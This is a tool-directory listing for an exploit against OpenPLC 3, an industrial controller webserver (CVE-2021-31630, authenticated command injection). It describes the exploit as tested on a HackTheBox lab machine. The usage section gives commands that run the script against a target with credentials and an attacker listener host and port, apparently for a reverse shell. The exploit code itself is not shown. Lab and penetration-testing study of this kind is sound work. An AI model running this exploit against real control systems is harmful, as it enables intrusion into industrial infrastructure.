Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-31630 — OpenPLC 3 WebServer Authenticated Remote Code Execution. | Kitploit
Tools/GitHubGitHub/manuelsantosiglesias/cve-2021-31630
Vulnerability AnalysisExploitationSCADA/ICS SecurityWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHubmanuelsantosiglesias/cve-2021-31630

CVE-2021-31630

OpenPLC 3 WebServer Authenticated Remote Code Execution.

View Repository
2 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-31630

OpenPLC 3 WebServer Authenticated Remote Code Execution.

Description

The presence of Command Injection in Open PLC Webserver v3 enables remote attackers to run arbitrary code. Only tested in HTB Wifinetictwo.htb machine.

I found problems with all the scripts that exploited the vulnerability, maybe because I'm using parrot or my browser, chromium works for login, I had login problems with Firefox and something strange happens to the web server with the POST request to log in. I have modified the script from thewhiteh4t there are parts (mainly upload method) that are just copied, but I have changed the part that obtains the cookies from the server to launch the exploit.

The original PoC is provided by Fellipe Oliveira

I hope it helps you if you have problems with it.

Dependencies

root@kitploit:~
pip3 install requests

Usage

root@kitploit:~
python3 exploit.py http://10.129.x.x:8080 user pass --lhost 10.10.x.x --lport xxxx

Alternative, yo can modify exploit.py

root@kitploit:~
...
# LHOST y LPORT defaults
LHOST = '10.10.1.1'
LPORT = '4444'
...

python3 exploit.py http://10.129.x.x:8080 user pass
Download Tool